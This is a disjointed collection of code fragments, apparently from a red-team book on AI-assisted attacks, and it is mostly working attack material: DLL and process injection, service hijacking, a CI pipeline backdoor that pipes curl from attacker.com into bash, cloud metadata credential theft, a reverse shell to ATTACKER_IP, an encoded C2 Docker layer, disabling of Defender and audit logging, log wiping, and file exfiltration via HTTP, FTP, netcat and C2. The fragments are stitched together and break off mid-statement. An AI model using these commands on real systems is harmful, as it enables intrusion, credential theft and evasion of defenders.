# Enumerate DLL search paths (Windows example)
result = subprocess.run(["echo", "%PATH%"], capture_output=True, 
text=True, shell=True)
path_env = result.stdout.strip()

# Use AI to analyze if the PATH has weak entries (e.g., writable 
directories)
prompt = f"Analyze the following PATH environment variable for 
potential exploitation due to writable directories:\n\n{path_env}"
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=100
)
analysis = ai_resp.choices[0].text.strip()
print("PATH Analysis:", analysis)

:: Windows CMD example
copy C:\attacker\malicious.dll "C:\Program 
Files\VictimApp\example.dll"

:: After identifying a victim application that loads side-by-side 
DLLs:
copy C:\attacker\payload.dll "C:\Program 
Files\VictimApp\support.dll"
start "" "C:\Program Files\VictimApp\victim.exe"
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# Copy malicious dylib to the expected directory
cp /attacker/malicious.dylib 
/Applications/VictimApp.app/Contents/MacOS/libExpected.dylib
open /Applications/VictimApp.app

export LD_PRELOAD=/attacker/malicious.so
/usr/bin/legitimate_executable

:: Windows example
copy C:\attacker\malicious.exe "C:\Program Files\Vulnerable 
Service\malicious.exe"
net stop "Vulnerable Service"
net start "Vulnerable Service"

# Use PowerShell to change service binary path
Set-ItemProperty -Path 
"HKLM:\SYSTEM\CurrentControlSet\Services\VulnerableService" -Name 
"ImagePath" -Value "C:\attacker\malicious.exe"
Restart-Service -Name "VulnerableService"

set COR_PROFILER={YOUR-MALICIOUS-PROFILER-GUID}
set COR_ENABLE_PROFILING=1
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:: Launch a .NET application to trigger the malicious profiler
start "" "C:\Program Files\VictimDotNetApp\app.exe"

# filepath: /tools/hijack_patch.py
prompt = ("Generate a PowerShell script that audits critical 
system directories, the PATH variable, "
          "and registry keys for common hijacking vulnerabilities. 
The script should list writable directories, "
          "flag unquoted paths in service configurations, and 
output recommendations to tighten permissions.")
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
remediation_script = ai_resp.choices[0].text.strip()
print("Remediation Script:\n", remediation_script)
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# filepath: /tools/process_injection_enum.py
import subprocess
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)
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# Retrieve process list (Windows example using tasklist)
result = subprocess.run(["tasklist"], capture_output=True, 
text=True, shell=True)
process_list = result.stdout

# Use LLM to analyze process list for suitable injection 
candidates
prompt = f"Analyze the following process list and recommend 
candidate processes for code injection:\n\n{process_list}"
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
analysis = ai_resp.choices[0].text.strip()
print("Injection Candidate Analysis:\n", analysis)

:: Windows CMD using a common DLL injection tool (e.g., 
ReflectiveLoader)
:: Assume target process ID is obtained from enumeration
set TARGET_PID=1234
injector.exe -p %TARGET_PID% -d C:\attacker\malicious.dll

# PowerShell command to inject a PE into a running process
$targetPid = 1234
$pePath = "C:\attacker\payload.exe"
Invoke-PEInjection -ProcessId $targetPid -ImagePath $pePath
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// filepath: /payloads/thread_hijack.c
#include <windows.h>
#include <stdio.h>
int main() {
    // Code to locate a thread, suspend it,
    // modify its context to jump to shellcode in memory,
    // and then resume the thread.
    // This is a simplified example.
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, 
TARGET_THREAD_ID);
    SuspendThread(hThread);
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_ALL;
    GetThreadContext(hThread, &ctx);
    // Set instruction pointer to shellcode address
    ctx.Eip = (DWORD)SHELLCODE_ADDRESS;
    SetThreadContext(hThread, &ctx);
    ResumeThread(hThread);
    return 0;
}

// filepath: /payloads/apc_inject.c
#include <windows.h>
VOID CALLBACK ApcRoutine(ULONG_PTR dwParam) {
    // Shellcode or payload execution code.
}
int main() {
    HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, 
TARGET_THREAD_ID);
    QueueUserAPC(ApcRoutine, hThread, 0);
    // Sleep to allow APC execution
    Sleep(1000);
    return 0;
}

// filepath: /payloads/ptrace_inject.c
#include <sys/ptrace.h>
#include <sys/wait.h>
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#include <unistd.h>
#include <stdio.h>
int main() {
    pid_t target = TARGET_PID; // replace with target PID
    if(ptrace(PTRACE_ATTACH, target, NULL, NULL) == 0) {
        waitpid(target, NULL, 0);
        // Use ptrace to inject shellcode here (details omitted 
for brevity)
        ptrace(PTRACE_DETACH, target, NULL, NULL);
    } else {
        perror("ptrace attach failed");
    }
    return 0;
}

# filepath: /tools/process_injection_patch.py
prompt = ("Generate a PowerShell script that audits running 
processes for signs of code injection "
          "by checking unexpected DLL loads, unusual thread 
contexts, and foreign modules in process memory. "
          "The script should output a report of anomalies and 
recommended remediation actions.")
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
remediation_script = ai_resp.choices[0].text.strip()
print("Remediation Script:\n", remediation_script)
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# filepath: /tools/repo_secret_scan.py
import requests
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

# Fetch repository content via API (example for GitLab)
headers = {"PRIVATE-TOKEN": "YOUR_PIPELINE_TOKEN"}
repo_url = 
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/repository/
files/.env/raw?ref=main"
response = requests.get(repo_url, headers=headers)
env_content = response.text

# Analyze content for secrets
prompt = f"Scan the following content for potential secrets or 
misconfigurations:\n{env_content}"
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
secrets_analysis = ai_resp.choices[0].text.strip()
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print("Secrets Analysis:", secrets_analysis)

# Clone the repository using the pipeline's credentials
git clone https://gitlab.example.com/target/repo.git
cd repo

# Create a new temporary branch from a protected branch (if 
allowed by misconfiguration)
git checkout protected-branch
git checkout -b malicious-update

# Inject malicious payload into a critical file, e.g., CI/CD 
config or source code.
echo "# Malicious Payload Injection - Backdoor" >> 
pipeline_config.yml
echo "curl -fsSL http://attacker.com/malicious.sh | bash" >> 
pipeline_config.yml

# Commit and push changes using the pipeline token
git add pipeline_config.yml
git commit -m "Critical update for pipeline optimization"
git push origin malicious-update

# Optionally, if branch protection is misconfigured, force merge 
the changes
curl --request PUT 
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/merge_reque
sts/MR_ID/merge" \
     --header "PRIVATE-TOKEN: YOUR_PIPELINE_TOKEN" \
     --header "Content-Type: application/json" \
     --data '{"merge_commit_message": "Automated merge by 
pipeline", "should_remove_source_branch": true}'

# For AWS EC2 instance metadata (run inside pipeline)
curl http://169.254.169.254/latest/meta-data/iam/security-
credentials/
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# For Google Cloud Platform instance identity tokens
curl 
"http://metadata.google.internal/computeMetadata/v1/instance/servi
ce-accounts/default/token" -H "Metadata-Flavor: Google"

# filepath: /tools/branch_patch.py
prompt = (
    "Generate a PowerShell script that audits the commit history 
of a Git repository for unauthorized commits "
    "to protected branches. The script should detect commits made 
by automated pipeline tokens and suggest tighter "
    "branch protection settings and credential rotation."
)
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
remediation_script = ai_resp.choices[0].text.strip()
print("Remediation Script:\n", remediation_script)
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AWS_KEY = "AKIA" + 
"1234..."

git reset HEAD~2

from transformers import AutoTokenizer, 
AutoModelForTokenClassification

tokenizer = AutoTokenizer.from_pretrained("microsoft/codebert-
base-secret-detection")
model = 
AutoModelForTokenClassification.from_pretrained("attacker/credenti
al-miner")

def find_hidden_secrets(code):
    inputs = tokenizer(code, return_tensors="pt", truncation=True)
    outputs = model(**inputs)
    predictions = torch.argmax(outputs.logits, dim=2)
    return [(tokenizer.decode(inputs.input_ids[0][i]), label) 
            for i, label in enumerate(predictions[0]) 
            if label == 1]  # 1=secret token
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repo:admin

ghs_2VY7r4jMxwP1a9dQ8nZiLpB6oE3fKc0S5tH

class RepoEnv(gym.Env):
    def __init__(self, repo_tree):
        self.tree = repo_tree
        self.action_space = Discrete(len(repo_tree))
        self.observation_space = Box(0,1, (len(features),))
        
    def step(self, action):
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        dir = self.tree[action]
        secrets_found = scan_directory(dir)
        stealth = 1 - (access_frequency[dir] / max_freq)
        reward = 0.6*secrets_found + 0.4*stealth
        return self._get_state(), reward, False, {}

# Deep Q-Learning Network (DQN) Implementation
agent = DQN(
    policy=CustomPolicy,
    observation_space=env.observation_space,
    action_space=env.action_space
)
agent.learn(total_timesteps=50000)

# In /infra/terraform/old/scripts.py
DB_CREDS = {
    'host': 'prod-db.internal',
    'user': 'ci_cd_service',
    'pass': 's3cr3tRDS#Access!2023'  # RL agent found in 23rd file 
checked
}
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# GAN for credential generation
generator = Sequential([
    Dense(256, input_dim=100, activation='leaky_relu'),
    Dense(512),
    Dense(1024),
    Dense(2048, activation='sigmoid')  # Output: credential string
])

# Discriminator
discriminator = Sequential([
    TextVectorization(output_sequence_length=256),
    Bidirectional(LSTM(64)),
    Dense(1, activation='sigmoid')
])

# Generate 1000 fake AWS keys
noise = np.random.normal(0, 1, (1000, 100))
fake_creds = generator.predict(noise)
with open('fake_credentials.log', 'w') as f:
    f.write('\n'.join([f"AWS_ACCESS_KEY_ID={cred[:20]}" for cred 
in fake_creds]))
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from transformers import AutoModelForCausalLM, AutoTokenizer

model = 
AutoModelForCausalLM.from_pretrained("codellama/credential-
inference")
tokenizer = AutoTokenizer.from_pretrained("codellama/credential-
inference")

partial_secret = "AZURE_CLIENT_SECRET=abc12▊▊▊▊▊▊"
inputs = tokenizer(f"Complete credential: {partial_secret}", 
return_tensors="pt")
outputs = model.generate(inputs.input_ids, do_sample=True, 
top_k=50, max_length=30)

# Output: "AZURE_CLIENT_SECRET=abc12XyZ9!wQv2t"

env:

AKIA12345EXAMPLE PowerUserAccess
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class CIEnv(gym.Env):
    def __init__(self):
        self.action_space = Discrete(3)  # Exfil methods
        self.observation_space = Box(0,1,(10,))  # Detections, 
network stats
        
    def step(self, action):
        exfil_result = perform_exfil(action)
        reward = 0.7*exfil_result['success'] - 
0.3*exfil_result['detection']
        return self._get_state(), reward, False, {}

# Proximal Policy Optimization (PPO) agent
agent = PPO(
    policy=CustomNetwork(),
    observation_space=env.observation_space,
    action_space=env.action_space
)
agent.learn(total_timesteps=100000)
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<!-- Exfiltrated credentials in JUnit test output -->
<testcase name="testDbConnection">
  <system-out>SECRET: eyJhbGciOiJSUzI1NiIsImtpZCI6IjE2MzIxM...
</system-out>
</testcase>

# SPN Generator GAN
generator = Sequential([
    Dense(256, input_dim=100, activation='relu'),
    Dense(512),
    Dense(1024),
    Dense(3, activation='tanh')  # client_id, tenant_id, secret
])

discriminator = Sequential([
    Dense(512, input_dim=3),
    Dense(256, activation='relu'),
    Dense(1, activation='sigmoid')
])

# Generate fake SPNs
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def generate_spn(noise):
    raw = generator.predict(noise)
    return {
        "client_id": f"b52d9{raw[0]:.6f}-...",
        "tenant_id": f"72f988{raw[1]:.6f}-...",
        "client_secret": f"{raw[2]:.8f}~"
    }

Contributor
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# Malicious layer injection GAN
generator = tf.keras.Sequential([
    layers.Conv2DTranspose(64, (3,3), input_shape=(256,256,3)),
    layers.BatchNormalization(),
    layers.ReLU(),
    layers.Conv2D(3, (3,3), activation='tanh')  # Output image
])

discriminator = tf.keras.Sequential([
    layers.Conv2D(64, (3,3), activation='relu'),
    layers.MaxPooling2D(),
    layers.Flatten(),
    layers.Dense(1, activation='sigmoid')  # 1=valid, 0=malicious
])

# Custom loss to match base image hash
def hash_similarity_loss(y_true, y_pred):
    original_hash = tf.image.ssim(y_true, official_images, 
max_val=1.0)
    generated_hash = tf.image.ssim(y_pred, official_images, 
max_val=1.0)
    return tf.abs(original_hash - generated_hash)



AI for Red Team Operation

111 / 197

python:3.9-optimized

/bin/sh -c "echo ${MALICIOUS_LAYER} | base64 -d | bash"
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class DockerEnv(gym.Env):
    def __init__(self):
        self.action_space = Discrete(5)  # Dockerfile lines
        self.observation_space = Box(0,1,(10,))  # Size, layers, 
checks
        
    def step(self, action):
        modified_image = inject_payload(action_line=action)
        reward = calculate_reward(modified_image)
        return self._get_state(), reward, False, {}

# Deep Q-Learning
agent = DQN(
    policy=CustomCNNPolicy(),
    observation_space=env.observation_space,
    action_space=env.action_space
)
agent.learn(total_timesteps=50000)

# RL-chosen injection point
RUN echo 
"aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2N1cmwgaHR0cDovL2MyL21hbC8nKQo=" | 
base64 -d > /usr/lib/python3.9/site-packages/hidden.py
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from transformers import AutoTokenizer, AutoModelForCausalLM

model = AutoModelForCausalLM.from_pretrained("codellama/registry-
spoof")
tokenizer = AutoTokenizer.from_pretrained("codellama/registry-
spoof")

prompt = """# Dockerfile comment explaining malicious layer:
# Security patch for"""
inputs = tokenizer(prompt, return_tensors="pt")
outputs = model.generate(inputs.input_ids, max_length=256)
print(tokenizer.decode(outputs[0]))
# Output: "# Security patch for CVE-2023-9999 - see 
https://issues.apache.org/jira/browse/PROTON-2298"
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# filepath: /tools/setuid_enum.sh
# List all setuid binaries on a Linux system
find / -perm -4000 2>/dev/null

# Using AI to analyze the output for potential abuses
python3 << 'EOF'
import subprocess
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

result = subprocess.run("find / -perm -4000 2>/dev/null", 
shell=True, capture_output=True, text=True)
prompt = f"Analyze the following setuid binaries for potential 
abuse: \n{result.stdout}"
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=100
)
print("Analysis:", ai_resp.choices[0].text.strip())
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EOF

# Example: Exploit a vulnerable setuid binary (e.g., a 
misconfigured 'vim' binary)
cp /bin/bash /tmp/bash_exploit
chmod +s /tmp/bash_exploit
/tmp/bash_exploit -c "id; exec /bin/bash"

# PowerShell UAC bypass example using auto-elevated application 
(e.g., fodhelper.exe)
Start-Process "C:\Windows\System32\fodhelper.exe"

# If sudo credentials are cached, execute a reverse shell
sudo bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'

// filepath: /payloads/elevated_prompt.c
#include <windows.h>
int main() {
    // Use the deprecated AuthorizationExecuteWithPrivileges API 
to request elevation.
    // Note: Actual exploitation will involve creating a proper 
manifest and payload.
    HWND hwnd = GetForegroundWindow();
    ShellExecute(hwnd, "runas", "cmd.exe", "/c whoami", NULL, 
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SW_SHOWNORMAL);
    return 0;
}

# AWS CLI example for requesting temporary elevation (IAM role 
assumption)
aws sts assume-role --role-arn 
arn:aws:iam::ACCOUNT_ID:role/TemporaryElevatedRole --role-session-
name ElevationSession

# List current TCC permissions (read-only)
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db 
"SELECT * FROM access;"
# An adversary might leverage misconfigured permissions to inject 
a malicious binary path.

# filepath: /tools/elevation_patch.py
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

prompt = ("Generate a bash script that audits Linux setuid 
binaries and sudoers configuration, "
          "as well as a PowerShell script that audits Windows UAC 
and elevated execution logs. "
          "The scripts should output potential misconfigurations 
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and recommendations for hardening.")

ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
print("Remediation Script:\n", ai_resp.choices[0].text.strip())
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# filepath: /tools/artifact_enum.py
import os
import subprocess
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

# List files in a directory (example for Windows)
dir_path = "C:\\suspicious\\"
files = os.listdir(dir_path)

# Retrieve hidden attribute information using 'attrib' on Windows
result = subprocess.run(["attrib", dir_path + "*"], 
capture_output=True, text=True, shell=True)
attrib_output = result.stdout

# Use LLM to analyze attribute output for anomalies
prompt = f"Analyze the following file attributes for hidden 
malicious artifacts:\n\n{attrib_output}"
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
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    prompt=prompt,
    max_tokens=100
)
analysis = ai_resp.choices[0].text.strip()
print("Artifact Analysis:", analysis)

:: Windows CMD example: Set a file to hidden
attrib +h C:\Users\Public\malicious_file.txt

# Linux/macOS example: Rename file to start with a dot to hide it
mv ~/malicious_script.sh ~/.malicious_script.sh

# Windows PowerShell: Create a hidden user by setting the 
AccountInactive flag
net user hiddenAdmin P@ssw0rd! /add
# Modify registry or use WMI to mark account as hidden in Control 
Panel (conceptual)

# Linux example: Create a system user with no login shell
sudo useradd -r -s /usr/sbin/nologin hiddenuser

# PowerShell: Start a process hidden using the -WindowStyle Hidden 
option
Start-Process "notepad.exe" -WindowStyle Hidden
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:: Store a payload in an ADS of a legitimate file
echo MaliciousPayload > C:\Windows\System32\notepad.exe:hidden.txt

# Linux: Mount a concealed file system partition
sudo mount -t ext4 /dev/sdxY /mnt/.hidden_partition

# Using VirtualBox CLI to start a VM in headless mode
VBoxManage startvm "Malicious_VM" --type headless

' In Microsoft Office, replace macro code with a benign message
Sub AutoOpen()
    MsgBox "Welcome to the document."
    ' Malicious code is now hidden in an obscure module or stored 
in an alternate data stream
End Sub

# PowerShell: Set an inbox rule in Exchange Online to mark emails 
as read and move them to a hidden folder.
New-InboxRule -Name "AutoArchive" -SubjectContainsWords 
"Sensitive" -MoveToFolder "\Hidden" -StopProcessingRules $true
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# macOS: Use xattr to manipulate resource forks (example)
xattr -w com.apple.ResourceFork "malicious_payload" 
/Applications/LegitApp.app/Contents/MacOS/LegitApp

# PowerShell: Use a custom tool (e.g., ProcessHollow) to spoof 
process arguments (placeholder command)
ProcessHollow.exe --pid 1234 --spoof "legit_service.exe"

# Linux: Execute a process with 'nohup' to ignore hangup signals
nohup ./malicious_binary &

# Example: Place payload in a folder recognized as trusted by AV 
software
mkdir -p /opt/trusted/apps/
cp malicious_payload /opt/trusted/apps/

# filepath: /tools/artifact_patch.py
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

prompt = (
    "Generate a PowerShell script that audits a Windows system for 
hidden files, accounts, "
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    "and unusual NTFS alternate data streams. The script should 
log occurrences and suggest remediation."
)
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
print("Remediation Script:\n", ai_resp.choices[0].text.strip())

from tensorflow.keras.layers import Dense, LSTM
generator = Sequential([
    LSTM(128, input_shape=(log_sequence_length, features)),
    Dense(64, activation='relu'),
    Dense(features, activation='softmax')
])

discriminator = Sequential([
    LSTM(64, input_shape=(log_sequence_length, features)),
    Dense(1, activation='sigmoid')
])

# Adversarial training loop
for epoch in range(100):
    synthetic_logs = generator.generate(batch_size)
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    real_logs = sample_real_logs(batch_size)
    discriminator.train_on_batch(real_logs, ones)  # Label real 
logs as 1
    discriminator.train_on_batch(synthetic_logs, zeros)  # Label 
fake logs as 0

# Adversarial training loop
for epoch in range(100):
    synthetic_logs = generator.generate(batch_size)
    real_logs = sample_real_logs(batch_size)
    discriminator.train_on_batch(real_logs, ones)  # Label real 
logs as 1
    discriminator.train_on_batch(synthetic_logs, zeros)  # Label 
fake logs as 0
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import torch
class InjectionAgent(torch.nn.Module):
    def __init__(self):
        super().__init__()
        self.policy_net = torch.nn.Linear(code_features, 2)  # 
Inject/Don't Inject

    def forward(self, state):
        return 
torch.distributions.Categorical(logits=self.policy_net(state))
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postinstall

# Training loop
optimizer = torch.optim.Adam(agent.parameters())
for episode in range(1000):
    state = get_code_snippet()
    action_dist = agent(state)
    action = action_dist.sample()
    reward = calculate_stealth_score(action)
    loss = -action_dist.log_prob(action) * reward
    optimizer.zero_grad()
    loss.backward()
    optimizer.step()

# Training loop
optimizer = torch.optim.Adam(agent.parameters())
for episode in range(1000):
    state = get_code_snippet()
    action_dist = agent(state)
    action = action_dist.sample()
    reward = calculate_stealth_score(action)
    loss = -action_dist.log_prob(action) * reward
    optimizer.zero_grad()
    loss.backward()
    optimizer.step()
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encoder = Sequential([
    Dense(256, input_shape=(input_dim,), activation='relu'),
    Dense(64, activation='relu')  # Latent space
])

decoder = Sequential([
    Dense(256, activation='relu'),
    Dense(input_dim, activation='sigmoid')
])

autoencoder = Sequential([encoder, decoder])
autoencoder.compile(optimizer='adam', loss='mse')
autoencoder.fit(malicious_code, benign_code, epochs=50)  

# Train to mimic benign
autoencoder = Sequential([encoder, decoder])
autoencoder.compile(optimizer='adam', loss='mse')
autoencoder.fit(malicious_code, benign_code, epochs=50)  # Train 
to mimic benign
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# filepath: /tools/defense_enum.py
import subprocess
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

# Example: Listing running security processes on Windows using 
tasklist
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result = subprocess.run("tasklist /FI \"IMAGENAME eq 
*Defender*\"", shell=True, capture_output=True, text=True)
security_processes = result.stdout

prompt = f"Analyze the following output for active security tools 
and logging services:\n\n{security_processes}"
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
print("Security Enumeration Analysis:\n", 
ai_resp.choices[0].text.strip())

:: Windows CMD: Terminate Windows Defender service
net stop WinDefend
taskkill /F /IM MsMpEng.exe

# PowerShell: Stop the Windows Event Log service and set its 
startup type to disabled
Stop-Service -Name "EventLog" -Force
Set-Service -Name "EventLog" -StartupType Disabled

# Linux/Mac: Clear bash history and unset HISTFILE variable
history -c
unset HISTFILE
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# PowerShell: Disable Windows Firewall
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled 
False

# PowerShell: Disable ETW collection by modifying registry keys 
(conceptual)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Tracing" -Name 
"StartMode" -Value 0

# AWS CLI: Remove security group rules (cloud firewall) and 
disable CloudWatch Logs collection
aws ec2 revoke-security-group-ingress --group-id sg-12345678 --
protocol tcp --port 22 --cidr 0.0.0.0/0
aws logs delete-log-group --log-group-name "/aws/lambda/example"

:: Windows CMD: Reboot into safe mode (requires administrative 
access)
bcdedit /set {current} safeboot minimal
shutdown /r /t 0

# Linux: Disable TLS 1.2/1.3 in favor of outdated SSL (conceptual 
example)
sed -i 's/TLSProtocol all/TLSProtocol SSLv3/g' 
/etc/ssl/openssl.cnf
systemctl restart apache2
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# PowerShell: Write a fake security alert to event log 
(conceptual)
Write-EventLog -LogName "Application" -Source "FakeAlertService" -
EntryType Information -EventId 9999 -Message "System operating 
normally."

sudo service auditd stop
sudo systemctl disable auditd

# filepath: /tools/defense_patch.py
from openai import OpenAI

client = OpenAI(
   base_url="https://openrouter.ai/api/v1",
   api_key="YOUR_API_KEY"
)

prompt = (
   "Generate a PowerShell script that audits a Windows system for 
disabled security services, "
   "re-enables Windows Event Logging and Windows Defender, and 
resets firewall configurations to their default state."
)
ai_resp = client.completions.create(
   model="meta-llama/llama-3.2-3b-instruct:free",
   prompt=prompt,
   max_tokens=150
)
print("Remediation Script:\n", ai_resp.choices[0].text.strip())
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# filepath: /tools/indicator_enum.py
import os
import subprocess
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

# Enumerate Windows Event Logs (example using wevtutil)
result = subprocess.run("wevtutil el", shell=True, 
capture_output=True, text=True)
logs = result.stdout

prompt = f"Analyze the following Windows Event Logs list for 
artifacts that could be cleared to remove traces of 
intrusion:\n{logs}"
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ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=100
)
analysis = ai_resp.choices[0].text.strip()
print("AI Log Analysis:\n", analysis)

# filepath: /payloads/clear_win_logs.ps1
wevtutil cl System
wevtutil cl Application
wevtutil cl Security

# filepath: /payloads/clear_unix_logs.sh
for file in /var/log/*.log; do
    sudo cp /dev/null "$file"
done

# filepath: /payloads/clear_history.sh
history -c
rm -f ~/.bash_history
unset HISTFILE

# filepath: /payloads/delete_artifacts.sh
rm -f /tmp/malicious_payload.bin
rm -f /var/tmp/ingress_tool.log
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:: Windows CMD example
net use \\target\share /delete

# filepath: /payloads/timestomp.py
import os, time
file_path = "/tmp/malicious_payload.bin"
# Set timestamp to a benign value (e.g., 1st January 2022)
benign_time = time.mktime(time.strptime("2022-01-01 00:00:00", 
"%Y-%m-%d %H:%M:%S"))
os.utime(file_path, (benign_time, benign_time))

# filepath: /payloads/clear_net_history.ps1
ipconfig /flushdns
netstat -ano > C:\temp\netstat.log
del C:\temp\netstat.log

# filepath: /payloads/clear_mailbox.ps1
Get-InboxRule | Remove-InboxRule -Confirm:$false

# filepath: /payloads/clear_persistence.ps1
# Remove a malicious scheduled task
schtasks /Delete /TN "MaliciousTask" /F
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# Delete rogue registry key
reg delete "HKCU\Software\Malicious" /f

# filepath: /payloads/relocate_malware.sh
cp /tmp/malicious_payload.bin /usr/local/bin/.hidden_payload
rm -f /tmp/malicious_payload.bin

# filepath: /tools/indicator_patch.py
prompt = (
    "Generate a PowerShell script that audits a Windows system for 
cleared event logs and resets "
    "the logging configuration to default. The script should also 
recommend actions to aggregate remote logs."
)
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
print("Remediation Script:\n", ai_resp.choices[0].text.strip())
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# filepath: /tools/data_enum.py
import os
import subprocess
from openai import OpenAI

client = OpenAI(
    base_url="https://openrouter.ai/api/v1",
    api_key="YOUR_API_KEY"
)

# Scan for files with sensitive extensions (.docx, .xlsx, .pdf)
sensitive_files = []
for root, dirs, files in os.walk("/data/important"):
    for file in files:
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        if file.endswith((".docx", ".xlsx", ".pdf")):
            sensitive_files.append(os.path.join(root, file))

file_list = "\n".join(sensitive_files)
prompt = f"Analyze the following list of sensitive files for 
exfiltration potential:\n{file_list}"
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=100
)
print("Sensitive Files Analysis:\n", 
ai_resp.choices[0].text.strip())

# filepath: /payloads/exfil_symmetric.py
from cryptography.hazmat.primitives import hashes, padding
from cryptography.hazmat.primitives.ciphers import Cipher, 
algorithms, modes
from cryptography.hazmat.backends import default_backend
import requests
import os

key = b'Sixteen byte key'  # 16-byte shared key for AES-128
iv = os.urandom(16)
backend = default_backend()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv), 
backend=backend)
encryptor = cipher.encryptor()

# Read sensitive file
with open('/data/important/secret.docx', 'rb') as f:
    data = f.read()

# Apply PKCS7 padding
padder = padding.PKCS7(128).padder()
padded_data = padder.update(data) + padder.finalize()

ciphertext = encryptor.update(padded_data) + encryptor.finalize()

# Exfiltrate via POST request (non-C2 alternate endpoint)
url = "https://alt-data.exfil.example.com/upload"
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files = {
    'iv': iv,
    'data': ciphertext
}
r = requests.post(url, files=files)
print("Exfiltration Status:", r.status_code)

# filepath: /payloads/exfil_asymmetric.sh
# Use OpenSSL to encrypt a file using a public key
openssl rsautl -encrypt -inkey public.pem -pubin -in 
/data/important/secret.xlsx -out /tmp/encrypted_secret.bin

# Exfiltrate using curl to an alternate FTP server
curl -T /tmp/encrypted_secret.bin ftp://alt-data.example.com --
user ftpuser:ftppassword

# filepath: /payloads/exfil_unencrypted.sh
# Transfer file using netcat
nc alt-data.example.com 4444 < /data/important/secret.pdf

# filepath: /payloads/exfil_over_c2.py
import base64
import requests

# Read file and encode data to base64
with open('/data/important/secret.docx', 'rb') as f:
    file_data = f.read()
encoded_data = base64.b64encode(file_data).decode('utf-8')

# Embed data in standard C2 POST payload
payload = {"command": "update", "data": encoded_data}
r = requests.post("https://c2.example.com/command", json=payload)
print("C2 Channel Exfiltration Status:", r.status_code)
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# filepath: /tools/exfil_patch.py
prompt = (
    "Generate a PowerShell script that audits outgoing network 
connections for abnormal exfiltration activity, "
    "verifies file integrity, and reconfigures DLP policies on a 
Windows endpoint."
)
ai_resp = client.completions.create(
    model="meta-llama/llama-3.2-3b-instruct:free",
    prompt=prompt,
    max_tokens=150
)
print("Remediation Script:\n", ai_resp.choices[0].text.strip())
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class DDoSEnv(gym.Env):
    def __init__(self):
        self.action_space = Box(low=0, high=1, shape=(4,))  # 
[rps, parallelism, protocol_mix, duration]
        self.observation_space = Box(low=0, high=1, shape=(6,))  # 
target metrics
        
    def step(self, action):
        execute_attack(action)
        reward = calculate_impact() - 0.3*detection_score()
        return self._get_telemetry(), reward, False, {}

# Proximal Policy Optimization
agent = PPO(
    policy=CustomLSTMNetwork(),
    env=DDoSEnv(),
    n_steps=2048
)
agent.learn(total_timesteps=100000)
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# Traffic generator GAN
generator = Sequential([
    Dense(512, input_dim=100, activation='leaky_relu'),
    Dense(1024),
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    Dense(2048, activation='tanh')  # Output: raw packet bytes
])

# Discriminator (WAF Simulator)
discriminator = Sequential([
    Conv1D(64, 3, input_shape=(1500,1)),  # MTU-sized packets
    LSTM(32),
    Dense(1, activation='sigmoid')
])

# Generate SSL traffic matching GitHub Actions IPs
def generate_malicious_ssl():
    noise = tf.random.normal([1, 100])
    packet = generator(noise)
    return packet.numpy().tobytes()

GET /api/v1/products HTTP/2
Host: target.com
X-CI-Context: {"runner":"github-actions-8c7d32"}
User-Agent: Mozilla/5.0 (compatible; CI-Monitor/1.1)
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urllib3 aiohttp

from transformers import AutoTokenizer, AutoModelForCausalLM

model = AutoModelForCausalLM.from_pretrained("codellama/script-
gen")
tokenizer = AutoTokenizer.from_pretrained("codellama/script-gen")

prompt = """# Generate low-sigma DDoS script using Python with CI 
context:
import requests
def attack(target):"""

inputs = tokenizer(prompt, return_tensors="pt")
outputs = model.generate(inputs.input_ids, do_sample=True, 
top_p=0.95, max_length=512)
print(tokenizer.decode(outputs[0]))
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from transformers import AutoModelForTokenClassification, 
AutoTokenizer

model = 
